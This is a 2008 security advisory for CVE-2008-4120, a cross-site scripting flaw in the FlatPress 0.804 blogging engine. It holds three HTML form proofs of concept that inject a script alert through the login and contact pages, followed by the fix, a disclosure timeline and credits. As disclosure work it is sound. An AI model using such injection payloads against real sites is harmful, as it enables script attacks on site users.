flatpress-xss.txt

`Cross Site Scripting (XSS) Vulnerabilitiy in flatpress 0.804,  
CVE-2008-4120   
  
References  
  
http://www.datensalat.eu/~fabian/cve/CVE-2008-4120-flatpress.html  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4120  
http://www.flatpress.org/  
  
Description  
  
FlatPress is an open-source standard-compliant multi-lingual extensible  
blogging engine which does not require a DataBase Management System to  
work.   
  
Example  
  
Assuming flatpress is installed on http://localhost/flatpress/, anybody  
could inject JavaScript:  
  
<form method="post" action="http://localhost/flatpress/login.php">  
<input type="text" name="user" value='"><script>alert(1)</script>'>  
<input type=submit></form>  
  
<form method="post" action="http://localhost/flatpress/login.php">  
<input type="text" name="pass" value='"><script>alert(1)</script>'>  
<input type=submit></form>  
  
<form method="post" action="http://localhost/flatpress/contact.php">  
<input type="text" name="name" value='"><script>alert(1)</script>'>  
<input type=submit></form>  
  
Workaround/Fix  
  
Update to 0.804.1.  
  
Disclosure Timeline  
  
2008-09-25 Vendor contacted  
2008-09-25 Vendor released 0.804.1  
2008-09-25 Published advisory  
  
CVE Information  
  
The Common Vulnerabilities and Exposures (CVE) project has assigned the  
name CVE-2008-4120 to this issue. This is a candidate for inclusion in  
the CVE list (http://cve.mitre.org/), which standardizes names for  
security problems.   
  
Credits and copyright  
  
This vulnerability was discovered by Fabian Fingerle (published with  
help from Hanno Boeck [0]). It's licensed under the creative commons  
attribution license [1].  
  
Fabian Fingerle, 2008-09-25, http://www.fabian-fingerle.de  
  
[0] http://www.hboeck.de  
[1] http://creativecommons.org/licenses/by/3.0/de/  
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